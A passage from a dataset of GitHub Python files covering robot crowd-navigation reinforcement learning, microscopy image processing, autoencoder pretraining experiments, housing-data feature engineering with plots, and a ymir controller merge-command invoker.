actions, action_ids, rewards, imitation_learning)\n\n cumulative_reward = sum([pow(self.gamma, t * self.robot.time_step * self.robot.v_pref)\n * reward for t, reward in enumerate(rewards)])\n cumulative_rewards.append(cumulative_reward)\n\n success_rate = success / k\n collision_rate = collision / k\n assert success + collision + timeout == k\n avg_nav_time = sum(success_times) / len(success_times) if success_times else self.env.time_limit\n\n extra_info = '' if episode is None else 'in episode {} '.format(episode)\n test_info = '' if phase not in ['test', 'val'] else ', nav distance: {}, human distance: {:.2f}, human travel time: {:.2f}'.format(average(nav_distances), average(hum_travel_dist), average(hum_travel_time))\n logging.info('{:<5} {}has success rate: {:.2f}, collision rate: {:.3f}, '\n 'nav time: {:.2f}, total reward: {:.4f} {}'.\n format(phase.upper(), extra_info, success_rate, collision_rate, avg_nav_time,\n average(cumulative_rewards), test_info))\n\n def update_memory(self, states, actions, action_ids, rewards, imitation_learning=False):\n if self.memory is None or self.gamma is None:\n raise ValueError('Memory or gamma value is not set!')\n\n for i, state in enumerate(states):\n reward = rewards[i]\n # VALUE UPDATE\n if imitation_learning:\n # define the value of states in IL as cumulative discounted rewards, which is the same in RL\n state = self.target_policy.transform(state)\n # value = pow(self.gamma, (len(states) - 1 - i) * self.robot.time_step * self.robot.v_pref)\n value = sum([pow(self.gamma, max(t - i, 0) * self.robot.time_step * self.robot.v_pref) * reward\n * (1 if t >= i else 0) for t, reward in enumerate(rewards)])\n if i == len(states) - 1:\n next_state = states[i]\n else:\n next_state = states[i + 1]\n next_state = self.target_policy.transform(next_state)\n else:\n if i == len(states) - 1:\n # terminal state\n value = reward\n next_state = states[i]\n else:\n next_state = states[i + 1]\n gamma_bar = pow(self.gamma, self.robot.time_step * self.robot.v_pref)\n value = reward + gamma_bar * self.target_model(next_state.unsqueeze(0)).data.item()\n\n action = torch.Tensor([actions[i][0], actions[i][1]]).to(self.device)\n value = torch.Tensor([value]).to(self.device)\n\n self.memory.push((state, next_state, action, action_ids[i], value))\n\n\ndef average(input_list):\n if input_list:\n return sum(input_list) / len(input_list)\n else:\n return 0","repo_name":"HsiaoRay/SocialAwareRobot","sub_path":"crowd_nav/utils/explorer.py","file_name":"explorer.py","file_ext":"py","file_size_in_byte":6702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8937975887","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Jun 2019\n@author: carlos\n\nsome features are shared within an image collection, like the file name, mapping, background, threshold, ...)\nso imagecollection is a class ;)\n\"\"\"\nfrom load_file import read_one_page#_pma, read_one_page_tif\nfrom image_adapt.rolling_ball import rollingball\n\nfrom image_adapt.find_threshold import remove_background\nfrom image_adapt.find_threshold import get_threshold\nimport numpy as np\nfrom cached_property import cached_property\nfrom Mapping import Mapping\nfrom Image import Image\nimport analyze_label\nimport cv2\nimport os\nfrom find_xy_position.Gaussian import makeGaussian\n\nclass ImageCollection(object):\n def __init__(self, tetra_fn, image_fn):\n self.image_fn = image_fn\n self.mapping = Mapping(tetra_fn)\n #self.set_background_and_transformation() # Carlos: isn't this double, you call set_background twice, Margreet: this is the bg of the image, not the tetra_image. Same formulas though\n (self.background,\n self.threshold,\n self.pts_number,\n self.dstG,\n self.ptsG,\n self.im_mean20_correct,\n self.n_images,\n self.hdim,\n self.Gauss) = self.set_background_and_transformation()\n\n# @cached_property\n# def read_one_page(self):\n# return read_one_page ##normally this funciton needs two inputs, why not here?\n# if '.pma' in self.image_fn:\n# return read_one_page_pma\n# elif '.tif' in self.image_fn:\n# return read_one_page_tif\n\n def set_background_and_transformation(self):\n \"\"\"\n sum 20 image, find spots& background. Then loop over all image, do background subtract+ extract traces\n :return:\n \"\"\"\n _, hdim, vdim, n_images = read_one_page(self.image_fn, pageNb=0)\n im_array = np.dstack([(read_one_page(self.image_fn, pageNb=ii)[0]).astype(float) for ii in range(20)])\n im_mean20 = np.mean(im_array, axis=2).astype(int)\n bg = rollingball(im_mean20)[1]\n im_mean20_correct = im_mean20 - bg\n im_mean20_correct[im_mean20_correct < 0] = 0 \n threshold = get_threshold(im_mean20_correct)\n im_mean20_correct=remove_background(im_mean20_correct,threshold) \n\n \n #note: optionally a fixed threshold can be set, like with IDL\n # note 2: do we need a different threshold for donor and acceptor?\n \n root, name = os.path.split(self.image_fn)\n pks_fn=os.path.join(root,name[:-4]+'-P.pks') \n if os.path.isfile(pks_fn):\n ptsG=[]\n dstG=[]\n with open(pks_fn, 'r') as infile:\n for jj in range(0,10000):\n A=infile.readline()\n if A=='':\n break\n ptsG.append([float(A.split()[1]),float(A.split()[2])])\n A=infile.readline()\n dstG.append([float(A.split()[1]),float(A.split()[2])])\n ptsG=np.array(ptsG)\n dstG=np.array(dstG)\n pts_number =len(ptsG)\n # load\n else:\n pts_number, label_size, ptsG = analyze_label.analyze(im_mean20_correct[:, 0:int(vdim / 2)])\n # there should be different options:\n # donor: im_mean20_correct[:,0:vdim//2]\n # acceptor: im_mean20_correct[:,vdim//2:]\n # donor+acceptor\n dstG = cv2.perspectiveTransform(ptsG.reshape(-1, 1, 2),\n np.linalg.inv(self.mapping._tf2_matrix))#transform_matrix))\n dstG = dstG.reshape(-1, 2)\n dstG = np.array([[ii[0] + 256, ii[1]] for ii in dstG])\n \n #saving to pks file\n with open(pks_fn, 'w') as outfile:\n for jj in range(0,pts_number):\n pix0=ptsG[jj][0]\n pix1=ptsG[jj][1]\n outfile.write(' {0:4.0f} {1:4.4f} {2:4.4f} {3:4.4f} {4:4.4f} \\n'.format((jj*2)+1, pix0, pix1, 0, 0, width4=4, width6=6))\n pix0=dstG[jj][0]\n pix1=dstG[jj][1]\n outfile.write(' {0:4.0f} {1:4.4f} {2:4.4f} {3:4.4f} {4:4.4f} \\n'.format((jj*2)+2, pix0, pix1, 0, 0, width4=4, width6=6))\n \n# ALL_Gaussians_ptsG=np.zeros((11,11,pts_number)) \n# ALL_Gaussians_dstG=np.zeros((11,11,pts_number)) \n ALL_GAUSS=makeGaussian(11, fwhm=3, center=(5, 5)) \n# for jj in range(0,pts_number):\n# xpix = ptsG[jj][1]\n# ypix = ptsG[jj][0]\n#\n# xpix_int = int(xpix)\n# ypix_int = int(ypix)\n# ALL_Gaussians_ptsG[:,:,jj]=makeGaussian(11, fwhm=3, center=(ypix - ypix_int + 5, xpix - xpix_int + 5))\n# \n# xf2 = dstG[jj][1] # approach3\n# yf2 = dstG[jj][0] # approach3\n# xf2_int = int(xf2) # approach3\n# yf2_int = int(yf2) # approach3\n# ALL_Gaussians_dstG[:,:,jj]= makeGaussian(11, fwhm=3, center=(yf2 - yf2_int + 5, xf2 - xf2_int + 5)) # approach3\n# \n return bg, threshold, pts_number, dstG, ptsG, im_mean20_correct, n_images, hdim, ALL_GAUSS\n\n def subtract_background(self, im):\n im_correct = im - self.background\n im_correct[im_correct < 0] = 0\n return remove_background(im_correct, self.threshold)\n\n def get_image(self, idx):\n img, hdim, vdim, n_images = read_one_page(self.image_fn, pageNb=idx)\n img = self.subtract_background(img)\n return Image(img, vdim, self.mapping._tf2_matrix, self.ptsG, self.dstG, self.pts_number, self.Gauss)\n","repo_name":"mwdocter/CMJ-lab","sub_path":"ImageCollection.py","file_name":"ImageCollection.py","file_ext":"py","file_size_in_byte":5624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19777849994","text":"from Network import DAE_NN\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.optim as optim\nimport scipy.stats as stats\nimport copy\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nimport numpy as np\nimport pandas as pd\nimport dataloading\nimport sys\nimport itertools\nimport config\nimport Evaluation\nfrom sklearn.cluster import KMeans\n\ndef get_layerwise_weight_dist(model):\n data, cols = [], []\n for l in model.layers:\n print('Layer:',l['name'])\n cols.append(l['name'])\n data.append( pd.Series(getattr(model,l['name']).weight.detach().numpy().flatten() ).describe() )\n print(stats.describe(getattr(model,l['name']).weight.detach().numpy(),axis=None))\n print('\\n')\n print('\\n')\n return pd.DataFrame(data,index=cols).reset_index().rename(columns={'index':'layer'})\n\n# Within the init function of the neural network to be costructed we can call this to create the initialized layers\n\n\n#def plot_grad_flow(named_parameters):\n# '''Plots the gradients flowing through different layers in the net during training.\n# Can be used for checking for possible gradient vanishing / exploding problems.\n# \n# Usage: Plug this function in Trainer class after loss.backwards() as \n# \"plot_grad_flow(self.model.named_parameters())\" to visualize the gradient flow'''\n# ave_grads = []\n# max_grads= []\n# layers = []\n# for n, p in named_parameters:\n# if(p.requires_grad) and (\"bias\" not in n):\n# layers.append(n)\n# ave_grads.append(p.grad.abs().mean())\n# max_grads.append(p.grad.abs().max())\n# plt.bar(np.arange(len(max_grads)), max_grads, alpha=0.1, lw=1, color=\"c\")\n# plt.bar(np.arange(len(max_grads)), ave_grads, alpha=0.1, lw=1, color=\"b\")\n# plt.hlines(0, 0, len(ave_grads)+1, lw=2, color=\"k\" )\n# plt.xticks(range(0,len(ave_grads), 1), layers, rotation=\"vertical\")\n# plt.xlim(left=0, right=len(ave_grads))\n# plt.ylim(bottom = -0.001, top=0.02) # zoom in on the lower gradient regions\n# plt.xlabel(\"Layers\")\n# plt.ylabel(\"average gradient\")\n# plt.title(\"Gradient flow\")\n# plt.grid(True)\n# plt.legend([Line2D([0], [0], color=\"c\", lw=4),\n# Line2D([0], [0], color=\"b\", lw=4),\n# Line2D([0], [0], color=\"k\", lw=4)], ['max-gradient', 'mean-gradient', 'zero-gradient'])\n# #plt.show()\n\ndef plot_grad_flow(named_parameters,title):\n ave_grads = []\n layers = []\n for n, p in named_parameters:\n if(p.requires_grad) and (\"bias\" not in n):\n layers.append(n)\n ave_grads.append(p.grad.abs().mean())\n plt.plot(ave_grads, alpha=0.3, color=\"b\")\n plt.hlines(0, 0, len(ave_grads)+1, linewidth=1, color=\"k\" )\n plt.xticks(range(0,len(ave_grads), 1), layers, rotation=\"vertical\")\n plt.ylim(ymin=0,ymax=0.25)\n plt.xlim(xmin=0, xmax=len(ave_grads))\n plt.xlabel(\"Layers\")\n plt.ylabel(\"average gradient\")\n plt.title(\"Gradient flow\\n\"+title)\n plt.grid(True)\n\ntrain_set = dataloading.get_dataset(True)\n#_, train_w = list(torch.utils.data.DataLoader(test_ds,batch_size=len(train_set)))[0]\n#balance_classes = np.array()\n\n\nlayer_params_2 = [\n {\n 'name': 'fc1',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1005\n },\n {\n 'name': 'fc2',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'fc3',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'out',\n 'type': 0,\n 'transformer': [],\n 'out_features': 100\n }\n ]\n\nlayer_params_1 = [\n {\n 'name': 'fc1',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1005\n },\n {\n 'name': 'fc2',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'fc3',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'fc4',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'fc3',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'fc4',\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n },\n {\n 'name': 'out',\n 'type': 0,\n 'transformer': [],\n 'out_features': 100\n }\n ]\n\n\ndef construct_model(layer_params_,train_set,flag,weight_decay=0,lr=0.001):\n \n layer_params = copy.deepcopy(layer_params_)\n train_loader = torch.utils.data.DataLoader(train_set,batch_size=1000)\n \n print('Data Loaded')\n \n if flag==0:\n # Prepare data\n print('Constructing Stacked Autoencoder Pretraining NN')\n model = DAE_NN.construct(layer_params,train_loader,weight_decay,lr)\n elif flag==1:\n print('Constructing No Pretrainig NN')\n model = DAE_NN.construct_random(layer_params,train_loader)\n else:\n print('Constructing End-to-End Autoencoder Pretraining NN')\n model = DAE_NN.construct_simultaneous(layer_params,train_loader,weight_decay,lr)\n \n print('********* Model Constructed *******\\n\\n')\n \n return model\n \ndef train_test(models,train_set,lr,reg):\n \n epoch = 15\n \n train_loader = torch.utils.data.DataLoader(train_set,batch_size=64)\n optimizers = [ optim.Adam(m.parameters(), weight_decay = reg, lr=lr) for _,m in models ]\n \n# optimizer1 = optim.Adam(model1.parameters(), lr=lr)\n# optimizer2 = optim.Adam(model2.parameters(), lr=lr)\n \n print('\\n**** Model Training ****\\n')\n \n res = []\n \n #plt.figure(figsize=(10,7))\n for j in range(epoch):\n# total_loss1, total_correct1 = 0, 0\n# total_loss2, total_correct2 = 0, 0 \n \n total_loss = [ 0 for _ in range(len(models))]\n total_correct = [ 0 for _ in range(len(models))]\n \n for batch in train_loader:\n images, labels = batch\n \n preds = [ m(images) for _, m in models ]\n loss = [ F.cross_entropy(p,labels) for p in preds ]\n \n# preds1 = model1(images)\n# loss1 = F.cross_entropy(preds1,labels)\n# \n# preds2 = model2(images)\n# loss2 = F.cross_entropy(preds2,labels)\n \n for i in range(len(models)):\n optimizers[i].zero_grad()\n loss[i].backward()\n #plot_grad_flow(models[i][1].named_parameters(),models[i][0])\n optimizers[i].step()\n total_loss[i] += loss[i].item()\n total_correct[i] += preds[i].argmax(dim=1).eq(labels).sum()\n \n# optimizer1.zero_grad()\n# loss1.backward()\n# optimizer1.step()\n#\n# optimizer2.zero_grad()\n# loss2.backward()\n# optimizer2.step()\n\n #print(preds.shape)\n #print(labels.shape)\n \n# total_loss1 += loss1.item()\n# total_correct1 += preds1.argmax(dim=1).eq(labels).sum()\n# \n# total_loss2 += loss2.item()\n# total_correct2 += preds2.argmax(dim=1).eq(labels).sum()\n \n \n \n for i in range(len(models)):\n res.append( [models[i][0],j,total_correct[i].item(),total_correct[i].item()/len(train_set),total_loss[i]/len(train_loader),reg] )\n print('model:',models[i][0],'\\nepoch:',j,'\\ntotal correct:',total_correct[i].item(),'\\ntotal % correct:',total_correct[i].item()/len(train_set),'\\nloss func:',total_loss[i]/len(train_loader))\n #print('epoch',i,'total correct:',total_correct2,'',total_loss2/len(train_loader))\n print('\\n')\n \n test_ds = dataloading.get_dataset(False)\n X_test, y_test = list(torch.utils.data.DataLoader(test_ds,batch_size=len(test_ds)))[0]\n test_correct = models[0][1](X_test).argmax(dim=1).eq(y_test).sum().item()\n res[-1].append(test_correct/len(y_test))\n print('Test error:', res[-1][-1])\n \n clus_model = DAE_NN(models[0][1].layers[:-1])\n \n clus_res = Evaluation.EvalClustering.evaluate(KMeans,\n clus_model(X_test).detach().numpy(),\n y_test,\n iters=10,\n n_clusters=config.N_CLASSES)\n \n res[-1] += list(clus_res)\n #print(res)\n #print(clust_res.keys())\n return pd.DataFrame([res[-1]],columns=['Pretraining','Epoch','Train_Total_correct','Train_correct_percentage','Train_Loss_function','Train_weight_decay','Test_correct_percentage']+list(clus_res.keys()) )\n \n#model_init = construct_model(layer_params_2,train_set,0)\n#model_random = construct_model(layer_params_2,train_set,1)\n#model_autoencoder = construct_model(layer_params_1,train_set,2)\n\n#models = [('DAE Layer-by-Layer',model_init),('Default Pytorch',model_random),('End-to-End Autoencoder',model_autoencoder)]\n#models = [('End-to-End Autoencoder Pretraining',model_autoencoder)]\n#models = [('No Pretraining Network',model_random)]\n#models = [('Stacked Autoencoder Pretraining',model_init)]\n\n#print('\\n\\n**** Layerwise weight distribution before training ****')\n#get_layerwise_weight_dist(models[0][1])\n\n#train_test(models,train_set)\n\n'''\nget_layerwise_weight_dist(model_init)\nprint('\\n')\nget_layerwise_weight_dist(model_random)\n'''\n#print('\\n\\n**** Layerwise weight distribution after training ****')\n#get_layerwise_weight_dist(models[0][1])\n\n\n\ndef train_2(model_list,layer_param):\n\n w_after_total = []\n w_before_total = []\n train_res_total = []\n \n #for t, m_name in enumerate(['Stacked Autoencoder Pretraining','No Pretraining Network','End-to-End Autoencoder Pretraining']):\n for t, m_name, weight_decay, lr, wt, _ in model_list:\n \n model = construct_model(layer_param,train_set,t,weight_decay,lr)\n models = [(m_name,model)]\n \n print('\\n\\n**** Layerwise weight distribution before training ****')\n w_before = get_layerwise_weight_dist(models[0][1])\n w_before['Pretraining'] = models[0][0]\n \n train_res = train_test(models,train_set,lr,wt)\n train_res['learning rate'] = lr\n train_res['weight decay'] = weight_decay\n \n print('\\n\\n**** Layerwise weight distribution after training ****')\n w_after = get_layerwise_weight_dist(models[0][1])\n w_after['Pretraining'] = models[0][0]\n \n w_after_total.append(w_after)\n w_before_total.append(w_before)\n train_res_total.append(train_res)\n \n w_after_pd = pd.concat(w_after_total)\n w_before_pd = pd.concat(w_before_total)\n train_res_pd = pd.concat(train_res_total)\n \n return train_res_pd\n\ndef write_excel(train_res):\n\n # Create a Pandas Excel writer using XlsxWriter as the engine.\n writer = pd.ExcelWriter('comparison.xlsx', engine='xlsxwriter')\n \n # Write each dataframe to a different worksheet. you could write different string like above if you want\n #w_before.to_excel(writer, sheet_name='Sheet1')\n train_res.to_excel(writer, sheet_name='Sheet1')\n #w_after.to_excel(writer,sheet_name='Sheet3')\n \n # Close the Pandas Excel writer and output the Excel file.\n writer.save()\n\ndef generate_layer_dic(n):\n \n layer_param = []\n \n for i in range(n):\n layer_param.append({\n 'name': 'fc'+str(i+1),\n 'type': 0,\n 'transformer': [nn.ReLU()],\n 'out_features': 1000\n })\n \n layer_param.append({\n 'name': 'embedding',\n 'type': 0,\n 'transformer': [],\n 'out_features': 100\n })\n\n layer_param.append({\n 'name': 'out',\n 'type': 0,\n 'transformer': [],\n 'out_features': config.N_CLASSES\n })\n \n return layer_param\n \nif __name__ == '__main__':\n \n #hn = sys.argv[1]\n res = []\n \n for hn in [2]:\n \n layer_param = generate_layer_dic(hn)\n \n lrs = [0.0005]\n wds = [0.003,0.005]\n wtrain = [0,0.000001]\n #wtrain = [0.0001,0.001]\n \n #lrs = [0.001]\n #wds = [0.003] \n \n model_list = [ [1,'No Pretraining',0.0,l,wt,hn] for l,wt in itertools.product(lrs,wtrain) ]\n model_list += [ [0,'Stacked Autoencoder Pretraining',w,l,wt,hn ] for w,l,wt in itertools.product(wds,lrs,wtrain) ]\n \n '''\n model_list = [[1,'No Pretraining',0.0,0.00005,hn],\n [1,'No Pretraining',0.0,0.00001,hn],\n [0,'Stacked Autoencoder Pretraining',0.0003,0.00005,hn],\n [0,'Stacked Autoencoder Pretraining',0.0003,0.00001,hn],\n [0,'Stacked Autoencoder Pretraining',0.0001,0.00005,hn],\n [0,'Stacked Autoencoder Pretraining',0.0001,0.00001,hn],\n [0,'Stacked Autoencoder Pretraining',0.003,0.00001],\n [0,'Stacked Autoencoder Pretraining',0.003,0.00005],\n [0,'Stacked Autoencoder Pretraining',0.005,0.00001],\n [0,'Stacked Autoencoder Pretraining',0.005,0.00005]]\n '''\n \n model_list = [ [k[0],k[1]+'_'+\"{:.5f}\".format(k[2]).split('.')[1]+'_'+\"{:.5f}\".format(k[3]).split('.')[1]+'_'+\"{:.5f}\".format(k[4]).split('.')[1],k[2],k[3],k[4],k[5]] for k in model_list ]\n temp = train_2(model_list,layer_param)\n temp['Hidden Layers'] = hn\n \n res.append(temp)\n \n write_excel(pd.concat(res,axis=0))\n","repo_name":"DavidLBick/Single-Cell-RNA-Sequencing","sub_path":"PreTraining.py","file_name":"PreTraining.py","file_ext":"py","file_size_in_byte":14091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19744329905","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\n\nfrom tabulate import tabulate\nfrom numpy.polynomial.polynomial import polyfit\n\n# read in the datasets\ntrain_data_path = 'iowa-home-data/train.csv'\ntest_data_path = 'iowa-home-data/test.csv'\n\ntest_data = pd.read_csv(test_data_path)\ntrain_data = pd.read_csv(train_data_path)\n\n# create features dataframes, dropping SalePrice from train_features\ntrain_features = train_data.drop(['SalePrice'], axis=1)\ntest_features = test_data\n\n# merge the two data sets for analysis, and reset index\nmerge_data = pd.concat([train_features, test_features]).reset_index(drop=True)\n\nSMALL_SIZE = 18\nMEDIUM_SIZE = 20\nBIGGER_SIZE = 22\n\nplt.rc('font', size=SMALL_SIZE) # controls default text sizes\nplt.rc('axes', titlesize=SMALL_SIZE) # fontsize of the axes title\nplt.rc('axes', labelsize=MEDIUM_SIZE) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('ytick', labelsize=SMALL_SIZE) # fontsize of the tick labels\nplt.rc('legend', fontsize=SMALL_SIZE) # legend fontsize\nplt.rc('figure', titlesize=BIGGER_SIZE) # fontsize of the figure title\n\n# set custom colour palette\nSet2mod = ['#66c2a5', '#fc8d62', '#8da0cb', '#e78ac3', '#a6d854', '#ffd92f', '#e5c494', '#b3b3b3', '#16425B', '#795C5F']\n\nsns.set_palette(sns.color_palette(Set2mod))\n\nLotConfigs = ['Inside', 'Corner', 'CulDSac', 'FR2', 'FR3']\nmerge_data['ScaledLotArea'] = merge_data['LotArea']/1000\n\n\n########################################################################\n# #\n# pre-filled graphs are generated here #\n# #\n########################################################################\n\n\n# initialize index for counting graphs and changing colour\ni=0\n\n# begin loop to show subsetted graphs pre-filling NAs\n# for lc in LotConfigs:\n\n# \t# filter and assign data by each LotConfig\n# \tfilter1 = merge_data['LotConfig'] == lc\n# \tfilter2 = merge_data['ScaledLotArea'] <= 80\n# \tfilter3 = merge_data['LotFrontage'].isna()\n# \tdata = merge_data[filter1 & filter2 & ~filter3][['ScaledLotArea',\n# \t'LotConfig',\n# \t'LotFrontage']]\n\n# \tplt.figure(figsize=(8,8))\n# \tFrontageAreaPlot = plt.scatter(\n# \t\tdata['ScaledLotArea'],\n# \t\tdata['LotFrontage'],\n# \t\tcolor=Set2mod[i],\n# \t\tmarker='o')\n\n# \tb, m = polyfit(data['ScaledLotArea'],\n# \t\tdata['LotFrontage'], 1)\n\n# \tplt.plot(\n# \t\tdata['ScaledLotArea'],\n# \t\tb + m * data['ScaledLotArea'],\n# \t\t'-',\n# \t\tcolor=Set2mod[i])\n# \tplt.xlim(0,80)\n# \tplt.ylim(0,350)\n# \tplt.ylabel(r'Lot Frontage in ft$\\mathregular{^{2}}$')\n# \tplt.xlabel(r'Lot Area in 1000 ft$\\mathregular{^{2}}$')\n# \ttitle = 'Lot Configuration: ' + lc\n# \tplt.title(title)\n# \tanno = 'y = ' + str(round(m,3)) + 'x + ' + str(round(b,3))\n\n# \tplt.text(40,100,anno,color=Set2mod[i])\n\t\n# \t# plt.show()\n\n# \t# graphname = 'AreaFrontageSubplot' + str(i) + '.svg'\n# \t# plt.savefig(graphname, format='svg')\n# \ti=i+1\n\n# function that takes in DataFrame, LotConfig and LotAreaScaled,\n# and returns prediction for LotFrontage\ndef get_frontage_prediction(\n\tparams,\n\tLotConfig,\n\tLotAreaScaled):\n\t# get b and m from params structure\n\tb = params.loc[LotConfig][0]\n\tm = params.loc[LotConfig][1]\n\n\t# return frontage_prediction as value\n\treturn LotAreaScaled*m + b\n\n\n# set array to all possible values of 'LotConfig' in the dataset\nLotConfigs = ['Inside', 'Corner', 'CulDSac', 'FR2', 'FR3']\n\n# create new column for LotArea scaled down by 1000 for all DataFrames\nfor ds in (\n\tmerge_data,\n\ttrain_data,\n\ttest_data):\n\tds['ScaledLotArea'] = ds['LotArea']/1000\n\n# initialize list to push all linear models to\nlcparameters = []\n\n# start loop to interate over all LotConfigs in merge_data\n# note we are training this using all data found in merge_data\nfor lc in LotConfigs:\n\n\t# filter to only show data with specific LotConfig\n\tfilter1 = merge_data['LotConfig'] == lc\n\n\t# filter to remove the outlier\n\tfilter2 = merge_data['ScaledLotArea'] <= 80\n\n\t# filter to remove all NAs (so they're not used in our predictions)\n\tfilter3 = merge_data['LotFrontage'].isna()\n\n\t# assign the intersection of these slices to data, keep three columns\n\tdata = merge_data[filter1 & filter2 & ~filter3][['ScaledLotArea',\n\t'LotConfig',\n\t'LotFrontage']]\n\n\t# use polyfit to get coefficients of linear model based on sliced data\n\tb, m = polyfit(data['ScaledLotArea'],\n\t\tdata['LotFrontage'], 1)\n\n\t# push these coefficients w/ lc ('LotConfig') as tuples to list\n\tlcparameters += [[b, m]]\n\n# linear_model_parameters\n# make list into DataFrame for easier access\nlm_params = pd.DataFrame(\n\tlcparameters,\n\tindex = LotConfigs,\n\tcolumns = ['b', 'm']\n\t)\n\n# fill using fillna transform rule\nfor ds in (\n test_data,\n train_data,\n merge_data):\n\tds['LotFrontage'] = \\\n\t ds['LotFrontage'].fillna(\n\t \tds.apply(\n\t \t\tlambda x: get_frontage_prediction(\n\t \t\t\tlm_params,\n\t \t\t\tx.loc['LotConfig'],\n\t \t\t\tx.loc['ScaledLotArea']),\n\t \t\taxis=1))\n\n # generate new plots to see how LotFrontage is filled according to the new\n # rule \n\n\n###############################################################################\n## IN THIS BLOCK, ALL CODE IS USED TO GENERATE GRAPHS ##\n###############################################################################\n# initialize index i for saving graphs and moving through color palette\ni=0\n\nfor lc in LotConfigs:\n\n\t# filter to only show data with specific LotConfig\n\tfilter1 = merge_data['LotConfig'] == lc\n\n\t# filter to remove the outlier\n\tfilter2 = merge_data['ScaledLotArea'] <= 80\n\n\t# filter to remove all NAs (so they're not used in our predictions)\n\tfilter3 = merge_data['LotFrontage'].isna()\n\n\t# assign the intersection of these slices to data, keep three columns\n\tdata = merge_data[filter1 & filter2 & ~filter3][['ScaledLotArea',\n\t'LotConfig',\n\t'LotFrontage']]\n\n\t# check out new generated plots\n\tb, m = polyfit(data['ScaledLotArea'],\n\t\tdata['LotFrontage'], 1)\n\n\tplt.figure(figsize=(8,8))\n\tplt.plot(\n\t\tdata['ScaledLotArea'],\n\t\tb + m * data['ScaledLotArea'],\n\t\t'-',\n\t\tcolor='Grey')\n\n\tFrontageAreaPlot = plt.scatter(\n\t\tdata['ScaledLotArea'],\n\t\tdata['LotFrontage'],\n\t\tcolor=Set2mod[i],\n\t\tmarker='o')\n\tplt.xlim(0,80)\n\tplt.ylim(0,350)\n\tplt.ylabel(r'Lot Frontage in ft$\\mathregular{^{2}}$ (Filled)')\n\tplt.xlabel(r'Lot Area in 1000 ft$\\mathregular{^{2}}$')\n\ttitle = 'Lot Configuration: ' + lc\n\tplt.title(title)\n\n\tanno = 'y = ' + str(round(m,3)) + 'x + ' + str(round(b,3))\n\tplt.text(40,100,anno,color='Grey')\n\t\n\t# plt.show()\n\n\tgraphname = 'AreaFrontageSubplotPostFill' + str(i) + '.svg'\n\tplt.savefig(graphname, format='svg')\n\ti=i+1\n###############################################################################\n## IN THIS BLOCK, ALL CODE IS USED TO GENERATE GRAPHS ##\n###############################################################################","repo_name":"aimeecodes/aimee.codes","sub_path":"assets/code/2021-03-17/featureEngineeringGraphs.py","file_name":"featureEngineeringGraphs.py","file_ext":"py","file_size_in_byte":6933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73917631553","text":"from controller.invoker.invoker_cmd_base import BaseMirControllerInvoker\nfrom controller.utils import checker, code, revs, utils\nfrom ymir.protos import mir_controller_service_pb2 as mirsvrpb\n\n\nclass MergeInvoker(BaseMirControllerInvoker):\n def pre_invoke(self) -> mirsvrpb.GeneralResp:\n if not self._request.in_dataset_ids and not self._request.ex_dataset_ids:\n return utils.make_general_response(code.ResCode.CTR_INVALID_SERVICE_REQ,\n 'one of include/exclude branches is required.')\n\n return checker.check_request(request=self._request,\n prerequisites=[\n checker.Prerequisites.CHECK_USER_ID,\n checker.Prerequisites.CHECK_REPO_ID,\n checker.Prerequisites.CHECK_REPO_ROOT_EXIST,\n checker.Prerequisites.CHECK_DST_TASK_ID,\n ],\n mir_root=self._repo_root)\n\n def invoke(self) -> mirsvrpb.GeneralResp:\n if self._request.req_type != mirsvrpb.CMD_MERGE:\n raise RuntimeError(\"Mismatched req_type\")\n\n command = \"cd {0} && {1} merge --dst-rev {2} -s stop\".format(\n self._repo_root, utils.mir_executable(),\n revs.join_tvt_branch_tid(branch_id=self._request.dst_task_id, tid=self._task_id))\n\n if self._request.in_dataset_ids:\n command += \" --src-revs '{}'\".format(\n revs.build_src_revs(in_src_revs=self._request.in_dataset_ids, his_tid=self._request.his_task_id))\n if self._request.ex_dataset_ids:\n command += \" --ex-src-revs '{}'\".format(revs.build_src_revs(in_src_revs=self._request.ex_dataset_ids))\n return utils.run_command(command)\n\n def _repr(self) -> str:\n return \"cmd merge user: {0}, repo: {1}, task_id: {2} includes: {3}, excludes: {4}\".format(\n self._request.user_id, self._request.repo_id, self._task_id, \";\".join(self._request.in_dataset_ids),\n \";\".join(self._request.ex_dataset_ids))\n","repo_name":"IJtLJZ8Rm4Yr/ymir-backend","sub_path":"src/pymir-controller/controller/invoker/invoker_cmd_merge.py","file_name":"invoker_cmd_merge.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23587812721","text":"def solve(ac, aj):\n prev = None\n prevt = 0\n l = [(i, j, True) for i, j in ac]+[(i, j, False) for i, j in aj]\n l.sort()\n sp = []\n for i, j, w in l:\n sp.append((i - prevt, prev, not w))\n prevt = j\n prev = not w\n t, p, n = sp[0]\n t -= prevt - 1440\n p = prev\n sp[0] = (t, p, n)\n sp.sort()\n sp.reverse()\n c_j = 0\n for i, j, w in l:\n if w: c_j += i - j\n else: c_j += j - i\n exch = 0\n for t, 